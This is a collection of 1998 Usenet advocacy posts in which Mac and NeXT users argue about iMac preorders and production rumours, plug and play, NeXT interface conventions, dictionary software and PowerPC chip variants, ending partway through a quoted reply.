Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 11 Aug 1998 01:13:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qo5sm$ag4$1@nnrp1.dejanews.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qklts$aos$1@bunyip.cc.uq.edu.au>
In article <6qklts$aos$1@bunyip.cc.uq.edu.au>,
"Christopher Smith" <drsmithy@usa.net> wrote:
> >>> For starters the plug and play never fails.
> >>
> >>Wonderful what you can do when you have an OS *and* hardware monopoly.
> >
> > Darn straight. Things work the way they are supposed to work. But
> >there are a ton of third party hardware options that Apple doesn't sell
> >and the way Apple does things is they say, "Write to this set of specs and
> >your hardware will work on every Mac" and surprise surprise when I plugged
> >3 video cards and 4 monitors into my Mac and rebooted everything just
> >worked! Not one of the video cards or monitors was made by Apple by the
> >way.
>
> A similiar standard exists for PCs - and when the hardware is designed to
> this standard an identical thing happens, you plug it in and it works.
>
But PCs have an additional step required, you
must rap the 'wood.exe' with the 'knuckle.dll'
first. If yo do the above step properly, then
WinPnP should work. Most of the time...
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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Date: Mon, 10 Aug 1998 21:20:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Message-ID: <joe.ragosta-1008982120540001@elk41.dol.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <01bdc4d6$87897560$74b4dccf@samsara>
In article <01bdc4d6$87897560$74b4dccf@samsara>, "Jonathan Hendry"
<jon@steeldriving.com> wrote:
> Rick Hatton <hattonr@aug.com> wrote in article
> <19980807090337288881@pm2-1-27.aug.com>...
> > Lawson English <english@primenet.com> wrote:
> >
> > > software to the continued well-being of Apple. Amelio wanted MS Office
> for
> > > Rhapsody + $1 billion. Jobs settled for $150 milllion plus MS Office
> for
> > > MacOS and then changed the name of Rhapsody to MacOS.
> >
> >
> > Thank you for reminding everyoneof this. I get a little tired of hearing
> > the "Jobs is Apple's Savior and Amelio nearly killed it" routine.
>
> The money was not important. MSOffice for Mac is *priceless* for Apple,
> and worth infinitely more than the $1 billion Amelio wanted.
Of course, we're going to see soon how much it did mean.
MS Office 2000 is ready to go into beta for Windows. I wonder when they'll
get around to releasing the Mac version--after their promise of parity.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 10 Aug 1998 21:24:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Message-ID: <joe.ragosta-1008982124410001@elk41.dol.net>
References: <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <26760-35CC83E2-35@newsd-124.bryant.webtv.net> <joe.ragosta-1008980645450001@elk41.dol.net> <NeedALight?-1008981345350001@166.oakland-01.ca.dial-access.att.net>
In article
<NeedALight?-1008981345350001@166.oakland-01.ca.dial-access.att.net>,
NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> In article <joe.ragosta-1008980645450001@elk41.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <26760-35CC83E2-35@newsd-124.bryant.webtv.net>,
> > RasAllGhul@webtv.net (Joshua Moore) wrote:
> >
> > > Steve=A0Sullivan wrote:
> > >
> > > >But, I didnt emphasize this enough... Who the
> > > >hell is Robert Cringely anyways? Take back
> > > >anything bad I may have insinuated about
> > > >apple in this post. *IF* this RObert Cringely
> > > >were correct, what I said was true. But I find it
> > > >VERY VERY VERY dubious of a claim that
> > > >apple has only built 5000 imacs so far.
> > >
> > > Robert X. Cringely produced the miniseries "Triumph of the Nerds" for
> > > PBS, detailing how people like Steve Jobs and Bill Gates made their
> > > money in the early days of personal computing.
> > > You can find his article at:
> > > http://pbs.org/cringely/
> > >
> > > and more about him at:
> > > http://pbs.org/cringely/whois.html
> > >
> > > His claim that only 5,000 iMacs had been produced isn't really that hard
> > > to believe. By MacWorld Apple only had about 100 iMacs - all hand built
> > > and of varying quality. And they've definitely had production problems,
> > > mainly to do with the case and the monitor.
> >
> > Let's try to do some math.
> >
> > MacWorld was 6 weeks before the iMac launch. That's about 12% of the year.
> >
> > Apple has been shipping 2.4 million Macs per year. So, during 6 weeks,
> > they'd have the capacity to produce at least 300,000 Macs (and that's
> > assuming that the plants were running flat out to produce 2.4 million).
> > Apparently, they've been making almost nothing but iMacs since MacWorld.
> > Even if they're only at 50% of capacity, they'll have 150,000 iMacs by
> > mid-August.
> >
> > Granted, no one can be sure what the correct utilization rate is. And I'm
> > sure it started low and is increasing. But it doesn't take that long to
> > produce a pile of machines.
>
> Tell it to the backlogged purchasers....
That may happen. But the fact that they haven't received their computers
yet doesn't prove or disprove anything. The machine isn't being released
for 5 more days.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 1998 01:43:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qo7kb$jkg$1@lwnws01.ne.highway1.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Then again, I just don't give a rat's ass. Not to belittle those who do,
> but having a dictionary at one's fingertips isn't exactly high-tech or
> exclusive. In fact, I highly prefer paper dictionaries to any kind of
> electronic equivalent because I get to accidentally learn new words when
> I'm scanning for a specific one, but your mileage may vary.
That's a cool reason. But another reason to have one via universal cmnd key
is lowering the transaction cost (in time and effort) to lookup a word. I
don't know if my behaviour is in anyway demonstrative in this regard, but
being able to lookup any word via DigitalWebster.app has gotten me to use the
dictionary with much greater frequency than I ever did with a hard bound. I
don't think that one is a substitute for the other. When I do legal
research, or even post to usenet, and come across a cool term, or need a
synonym, it's just so darn easy to hit cmnd = and get a look up. I also like
DigitalWebster because it's an exact dupe of the real thing, down to even the
pictures. The scan by page feature would make it nearly perfect though. I'm
not holding my breath for apple to improve it, or even include it though.
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What the F*CK's up with the imac?
Date: 11 Aug 1998 01:32:53 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4f1$e37af310$a6b4dccf@samsara>
References: <macghod-1008981117300001@sdn-ar-002casbarp028.dialsprint.net> <billa-1008981717310001@archbald-33.slip.uiuc.edu> <NeedALight?-1008981547070001@166.oakland-01.ca.dial-access.att.net> <billa-1008981912090001@archbald-33.slip.uiuc.edu>
Bill Altenberger <billa@uiuc.edu> wrote in article
<billa-1008981912090001@archbald-33.slip.uiuc.edu>...
>
> You did raise a good issue. The idea of the Apple online store is to
> give Apple customers what they want(build to order). It appears that
> the iMac is at odds with that goal.
No it doesn't. First, it's for consumers. Consumers, especially the
sort that want the simplicity of the iMac, are more likely to buy
from a retail store.
Second, many of the target customers probably aren't on the web,
or are only minimally on the web. People still using an old SE/30
probably aren't big web users.
Third, Apple needs people to USE the thing, especially if they
want new customers. The Apple Store doesn't do that. Someone who
hasn't used a Mac - or used a new Mac - in years isn't going to buy
from the Apple Store.
Fourth, the iMac is all about looks, texture, and shape. It will
sell far better in person than via the web. The web isn't good
at capturing the appearance of these translucent plastics. The
eMate and the Studio Display both look MUCH cooler in person, and
the iMac is bound to be the same. The web also doesn't demonstrate
performance.
Fifth, Apple Store sales wouldn't show up in the all-important
retail sales figures. Apple Store sales wouldn't result in
good mentions in CompUSA press releases and financial statements.
Sixth, Apple needs to move boxes through the stores, so that iMac
buyers buy 3rd party accessories and software. Neither of these will
happen at the Apple Store.
It might be more accurate to call the iMac a *retail* machine,
rathan than calling it a *consumer* machine.
> It seems that Apple will have
> to forcast demand for their major retailers such as CompUSA.. It will
> be interesting to see how it works out.
The preorders and deposits will help tremendously with forcasting.
Few preorders == little demand. Lots of preorders == more demand. Apple
should be able to forecast pretty accurately, possibly down to
the individual store level.
- Jon
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 1998 01:47:46 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qo7s2$jkg$2@lwnws01.ne.highway1.com>
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com> <trmp-0808980049440001@ptp28.sopris.net> <ExHBJ2.In8@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> More to the point, consitance OpenStep isn't. In some cases
> a double click
> is responded to as two single clicks (items in the shelf). The
I'm not aware of that instance. Might it be that you need to adjust your
double click timings under Preferences.app? Or could you point out when that
happens, just curious.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <1998081101584800.VAA13006@ladder03.news.aol.com>
Date: 11 Aug 1998 01:58:48 GMT
Organization: AOL http://www.aol.com
References: <ExHCAE.J4J@T-FCN.Net>
Maury said, regarding menu shortcuts:
>The Mac way. I suppose by asking you indicate some disagreement with this?
As I noted, the NeXT way is more succinct, and eliminates the wasted space of
indicating <SHIFT> as a key instead of simply showing the shifted state.
> As one who's coming from the localization world, this appears to be the
>only real solution
I don't see what this has to do with localization--the NeXT system would apply
to any language, and might even be more appropriate for some which don't have
an equivalency to Latin upper/lowercase.
>Actually all the best docks are on the MacOS now anyway, they let you store
>anything, support full drag-n-drop without modifier keys (one of my least
>favourite OS "features"), hide and show in various places, show state of the
>application, and support any number of tiles.
Could you cite some filenames? Every UI extension I've tried thus far, save for
Apple's own Appearance Manager has conflicted with something essential on my
Mac at work.
Does one of these programs allow me to drag and drop into a Freehand document
with precision placement like in Virtuoso on the NeXT?
(regarding task switching/app launching)
> If there is any inconsistancy here, it's that the state needs to be known
>at all. All OS's enforce this though, and I think it's artificial.
Uh, the NeXT UI doesn't require that one know the state of the app unless it's
staring one in the face as is the matter of an app tile floating on the
desktop.
>> I find it easier to double-click on the same icon I used to launch an app
>in
>> the first place.
>
> You could always do that, even on the MacOS.
Yes, but there's no convenient way to manage app icons on the Mac. The NeXT
dock can be command clicked to the background or slid out of the way.
Which still leaves the question of what about animated icons?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Mon, 10 Aug 1998 21:24:48 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CFAB70.E20B4D0B@ericsson.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
> That's a cool reason. But another reason to have one via universal cmnd key
> is lowering the transaction cost (in time and effort) to lookup a word. I
> don't know if my behaviour is in anyway demonstrative in this regard, but
> being able to lookup any word via DigitalWebster.app has gotten me to use the
> dictionary with much greater frequency than I ever did with a hard bound. I
> don't think that one is a substitute for the other. When I do legal
> research, or even post to usenet, and come across a cool term, or need a
> synonym, it's just so darn easy to hit cmnd = and get a look up. I also like
> DigitalWebster because it's an exact dupe of the real thing, down to even the
> pictures. The scan by page feature would make it nearly perfect though. I'm
> not holding my breath for apple to improve it, or even include it though.
Dude, don't get me wrong. I can totally see how helpful this would be. I
think it makes a great add-on package, and I think that if Apple already
has it (with Webster's) it should be the first thing in the MacOS X
Plus! Pack [chuckle].
Incidentally, with the high speed and low price of CD-ROM drives, you
could probably add an extra one to your setup and leave the Webster's CD
in, instead of taking up hard drive space, if desired. I would hesitate
to fill up a hard drive with Webster's, but that's just stingy ol' me.
MJP
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 1998 02:49:51 GMT
Organization: Steel Driving Software
Message-ID: <01bdc4fc$a4417d80$74b5dccf@samsara>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote in article
<6qo7kb$jkg$1@lwnws01.ne.highway1.com>...
> When I do legal
> research, or even post to usenet, and come across a cool term, or need a
> synonym, it's just so darn easy to hit cmnd = and get a look up. I also
like
> DigitalWebster because it's an exact dupe of the real thing, down to even
the
> pictures. The scan by page feature would make it nearly perfect though.
I'm
> not holding my breath for apple to improve it, or even include it though.
You might find the text of the 1913 edition useful. It's full of
now-archaic terms, and has lots of examples. I compared it to Webster.app
last night, and Webster.app's entries were fewer in number and less
detailed.
- Jon
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 10 Aug 1998 22:56:30 -0500
Organization: none
Message-ID: <tim-1008982256310001@jump-tnt-0157.customer.jump.net>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185> <35CE8F28.26455E3F@bigfoot.com> <prink-ya02408000R1008982321250001@news.abs.net> <01bdc501$f2d5a9d0$74b5dccf@samsara>
NNTP-Posting-Date: 11 Aug 1998 03:55:07 GMT
In article <01bdc501$f2d5a9d0$74b5dccf@samsara>, "Jonathan Hendry"
<jon@steeldriving.com> wrote:
| Wasn't there a 740? What was that?
The 740 is a 750 in a 603e/604e-compatible package, with the backside L2
interface signals removed.
--
-- Tim Olson
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 1998 04:03:44 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qofr0$t4i$1@lwnws01.ne.highway1.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <01bdc4fc$a4417d80$74b5dccf@samsara>
"Jonathan Hendry" <jon@steeldriving.com> wrote:
> You might find the text of the 1913 edition useful. It's full of
> now-archaic terms, and has lots of examples. I compared it to
> Webster.app last night, and Webster.app's entries were fewer in
> number and less detailed.
Thanks. Where can I find the 1913 version? I'd love to get local versions
of all the legal, medical, computer (I have an old version of Jargon), etc.
terms. I've also, always been bugged that somehow Webster.app couldn't have
been integrated into the system spell check in some smart way, or vice versa.
Anyway, thanks again for the tip. :)
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 11 Aug 1998 04:10:19 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qog7b$t4i$2@lwnws01.ne.highway1.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <35CFAB70.E20B4D0B@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Dude, don't get me wrong. I can totally see how helpful this would be. I
> think it makes a great add-on package, and I think that if Apple already
> has it (with Webster's) it should be the first thing in the MacOS X
> Plus! Pack [chuckle].
That's a good idea. Probably an indication it won't ever happen. :)
> Incidentally, with the high speed and low price of CD-ROM drives, you
> could probably add an extra one to your setup and leave the Webster's CD
> in, instead of taking up hard drive space, if desired. I would hesitate
> to fill up a hard drive with Webster's, but that's just stingy ol' me.
Lessee. Webster.app takes 0.25mb. Thesaurus 3.24mb. Dictionary with
pictures 40.5mb. Total of undr 45mb. That's not even a sneeze for hd space
on my modest 4gb drive. Hard for me to justify a 650mb CD full of mp3's full
time in a CD player (about 200 songs fit), much less 45mb for webster (even
though a CD goes for almost nothing and I still have plenty of scsi IDs,
local access seems much easier). But then again, I can certainly see how
ones mileage may vary on this topic.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Where's Installer.app in Rhapsody DR2?
Date: Tue, 11 Aug 1998 04:19:07 GMT
Organization: Internet Design Group, Inc.
Message-ID: <35d1c638.1269194@news.icx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I can't find any installation app that recognizes .pkg's in Rhapsody
DR2 for PCs.
Am I missing something??
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 10 Aug 1998 14:02:48 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qmui8$1aa@newsb.netnews.att.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c <35ce0977.23478415@news.iafrica.com>
Originator: gupta@tlctest
Really ? Isn't MS's position (going to be that) IIS is an integrated part
of the OS ?
-arun gupta
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Hello.
Date: 10 Aug 1998 14:48:28 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6qn17s$s8f@shelob.afs.com>
References: <35CDF146.289C37E@nowhere.com>
The Name Nobody Wanted <noone@nowhere.com> writes
> I think the Next computer is really dumb. Didn't they go out of
> business? I thought they did. Oh well. Gotta go the bathroom now.
> Bye-bye.
Finally, some intelligent discussion on this newgroup. About time.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: prink@DIESPAM!bcpl.net (Philip Rink Jr.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <prink-ya02408000R1008982321250001@news.abs.net>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185> <35CE8F28.26455E3F@bigfoot.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Mon, 10 Aug 1998 23:21:25 -0300
NNTP-Posting-Date: Mon, 10 Aug 1998 23:21:20 EDT
In article <35CE8F28.26455E3F@bigfoot.com>, lna@bigfoot.com wrote:
> > Has anyone heard of G3 series CPUs using a 604-like (multiple integer
> > units) core?
> >
> Yes. It's is called the 760, otherwise know as Mach 5. While it's not
> normally called a "G3" is a member of the 3rd generation devices. It
> does not, though, support the backside caching.
The Mach 5 is the last series of 604er, including the 250-350 MHz chips. It
has an "inline" cache on the same daughtercard as the chip. I just looked
at the Motorola website, and couldn't find a reference to a 760. According
to MacKidDo, the 760 was a rumored multiple-core G3. Since the MacOS
doesn't really support multiple processors, that idea was put off. There
may be a multiple-core G4.
--
Philip Rink Jr.
Internet Design & Consulting
prink [at] bcpl.net
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Date: 11 Aug 1998 03:27:51 GMT
Organization: Steel Driving Software
Message-ID: <01bdc501$f2d5a9d0$74b5dccf@samsara>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185> <35CE8F28.26455E3F@bigfoot.com> <prink-ya02408000R1008982321250001@news.abs.net>
Philip Rink Jr. <prink@DIESPAM!bcpl.net> wrote in article
<prink-ya02408000R1008982321250001@news.abs.net>...
> In article <35CE8F28.26455E3F@bigfoot.com>, lna@bigfoot.com wrote:
>
> > > Has anyone heard of G3 series CPUs using a 604-like (multiple integer
> > > units) core?
> > >
> > Yes. It's is called the 760, otherwise know as Mach 5. While it's not
> > normally called a "G3" is a member of the 3rd generation devices. It
> > does not, though, support the backside caching.
>
> The Mach 5 is the last series of 604er, including the 250-350 MHz chips.
It
> has an "inline" cache on the same daughtercard as the chip. I just looked
> at the Motorola website, and couldn't find a reference to a 760.
According
> to MacKidDo, the 760 was a rumored multiple-core G3. Since the MacOS
> doesn't really support multiple processors, that idea was put off. There
> may be a multiple-core G4.
Wasn't there a 740? What was that?
- Jon
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 10 Aug 1998 20:50:00 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008981401360001@166.oakland-01.ca.dial-access.att.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981728370001@153.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-1008980049190001@digital-00-40.hou.neoworld.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <TheLidlessEyeTh-1008980049190001@digital-00-40.hou.neoworld.net>, TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> In article
> <NeedALight?-0908981728370001@153.oakland-01.ca.dial-access.att.net>,
> NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
>
> > In article
> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net>,
> TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
> >
> > > In article
> > > <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net>,
> > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > >
> > > > In article
> > > <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>,
> > > macghod@concentric.net (Steve Sullivan) wrote:
> > > >
> > > > > In article
> > > > > <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
> > > > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > > > >
> > > > > > > MacOS Rumors is reporting 350,000 iMac preorders. Pretty impressive.
> > > > > > >
> > > > > > > Not to mention the opportunities to "sell up". The iMac is going
> > > to bring
> > > > > > > a lot of people into the store. Some of them will probably
> walk out with
> > > > > > > PowerMacs--particularly if the iMac is in short supply.
> > > > > > >
> > > > > > > Looks like they're off to a great start.
> > > > > >
> > > > > > Robert Cringely is reporting that they've built 5,000, to date,
> with an
> > > > > 11% defect rate. Once again, it would appear, Apple has snatched defeat
> > > > > from the jaws of victory...
> > > > > > --
> > > > >
> > > > > I hope he is wrong.... THeir is about a week left, lets assume
> they build
> > > > > 5000 a day every day for a while. This number may seem high given
> what he
> > > > > is reporting, but factor in a huge increase due to what measures
> > > > > macorumors reports (working all night, highering more people, etc etc)
> > > > >
> > > > > So by the 15th, thats 40k machines. Add 10 k since the report is
> probably
> > > > > at least a couple of days. 1 week after its introduced, that
> would be 75k
> > > > > machines made, lets factor in a error margin and bump it up to 100k non
> > > > > defective machines made the 1 week after. Lets also assume that all the
> > > > > machines first go to people who have preorders.
> > > > >
> > > > > So 1 week after the imac is available 2/3rds of those who put up money
> > > > > ahead of time still dont have a imac. Isnt this a BAD THING ?
> > > > >
> > > > > FInancially (if you only consider the short term) its no big deal,
> I mean
> > > > > they are selling everything they can make. But it seems like very very
> > > > > bad pr.
> > > > >
> > > > > But, I didnt emphasize this enough... Who the hell is Robert Cringely
> > > anyways?
> > > > > Take back anything bad I may have insinuated about apple in this post.
> > > > > *IF* this RObert Cringely were correct, what I said was true. But
> I find
> > > > > it VERY VERY VERY dubious of a claim that apple has only built
> 5000 imacs
> > > > > so far.
> > > >
> > > > With an 11% failure rate,it's easy to understand why Apple is proceeding
> > > cautiously. Would you like to be one of the better than 1 in 10 who takes
> > > possession only to have to return it? Returns of that magnitude would kill
> > > Apple with expense *and* bad press.
> > >
> > > Whoa! Slow down, troll!
> > > You still need to provide some factual basis for this "11% failure rate."
> > > Until you can come up with something that corroborates Cringely's
> > > blathering, you're
> > > still fullOshit, as usual.
> >
> > Why? We were clearly involved in conjecture over why Cringely would
> claim only 5,000 iMacs had been produced. You do understand what
> conjecture is, don't you?
> > Perhaps not...
>
> Seems you've all but sounded the deathknell for iMac here.
Thanks for sharing your interpretation of my words. <snicker>
> Somebody's getting a little carried away with rumor-mongering.
That would certainly eplain why *my* guess on Apple's build counts for 8/15 was 350,000, which I changed in a followup post to 100,000. [sarcasm] Yeah, those numbers indicate I think the iMac will sell poorly. [end sarcasm] The real problem is who's buying the iMac. If the majority of sales go to existing Mac owners *and* there is no substantial increase in Mac software sales, then it simply won't matter. Apple *needs* developers and, as a past Henry Norr article pointed out, sales to the existing base just doesn't translate to software growth. The group most likely not to wait for an iMac, if there's a huge backlog, is the group Apple wants/needs the most. First time buyers. If they have a need, now, they will want to fill it, now.
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 11 Aug 1998 05:02:41 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-1008982214180001@145.oakland-01.ca.dial-access.att.net>
References: <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <26760-35CC83E2-35@newsd-124.bryant.webtv.net> <joe.ragosta-1008980645450001@elk41.dol.net> <NeedALight?-1008981345350001@166.oakland-01.ca.dial-access.att.net> <joe.ragosta-1008982124410001@elk41.dol.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <joe.ragosta-1008982124410001@elk41.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article
> <NeedALight?-1008981345350001@166.oakland-01.ca.dial-access.att.net>,
> NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
>
> > In article <joe.ragosta-1008980645450001@elk41.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > In article <26760-35CC83E2-35@newsd-124.bryant.webtv.net>,
> > > RasAllGhul@webtv.net (Joshua Moore) wrote:
> > >
> > > > Steve=A0Sullivan wrote:
> > > >
> > > > >But, I didnt emphasize this enough... Who the
> > > > >hell is Robert Cringely anyways? Take back
> > > > >anything bad I may have insinuated about
> > > > >apple in this post. *IF* this RObert Cringely
> > > > >were correct, what I said was true. But I find it
> > > > >VERY VERY VERY dubious of a claim that
> > > > >apple has only built 5000 imacs so far.
> > > >
